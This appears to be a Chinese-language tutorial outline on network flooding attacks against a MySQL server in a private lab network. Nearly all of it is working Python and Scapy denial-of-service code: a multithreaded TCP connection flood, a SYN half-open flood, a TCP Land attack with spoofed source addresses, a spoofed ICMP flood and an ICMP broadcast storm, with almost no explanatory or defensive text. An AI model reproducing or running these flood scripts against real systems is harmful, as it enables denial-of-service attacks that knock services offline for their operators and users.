目录
一、什么是泛洪?
二、使用Socket三次握手泛洪
import socket, random, time, os, threading
# TCP三次握手泛洪
def socket_flood():
while True:
s = socket.socket()
s.connect(('192.168.112.130', 3306))
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=socket_flood).start()
三、使用Scapy半连接泛洪
.启动mysql
# scapy半连接
def scapy_flood():
while True:
sport = random.randint(10000, 30000)
pkg = IP(dst='192.168.112.188')/TCP(sport=sport, dport=3306, flags='S')
send(pkg, verbose=False)
四、使用TCP Land泛洪
# TCP Land 通信IP与目标IP地址是同一个
def tcp_land():
while True:
sport = random.randint(10000, 30000)
pkg = IP(src='192.168.112.188', dst='192.168.112.188')/TCP(sport=sport, dport=3306, flags='S')
send(pkg, verbose=False)
反射型攻击:
五、使用ICMP泛洪
# ICMP泛洪
def icmp_flood():
while True:
# ip_list = ['192.168.112.188','192.168.112.189','192.168.112.187','192.168.112.186']
# ip = random.choice(ip_list)
payload = 'HelloWoniu'*100
pkg = IP(src='192.168.112.148', dst='192.168.112.188')/ICMP()/payload*200 # 一次性发200个数据包
send(pkg, verbose=False)
六、ICMP广播风暴
def icmp_broadcast():
while True:
payload = 'HelloWoniu'*100
pkg = IP(dst='192.168.112.255')/ICMP()/payload*200 # 一次性发200个数据包
send(pkg, verbose=False)
七、使用Ping命令泛洪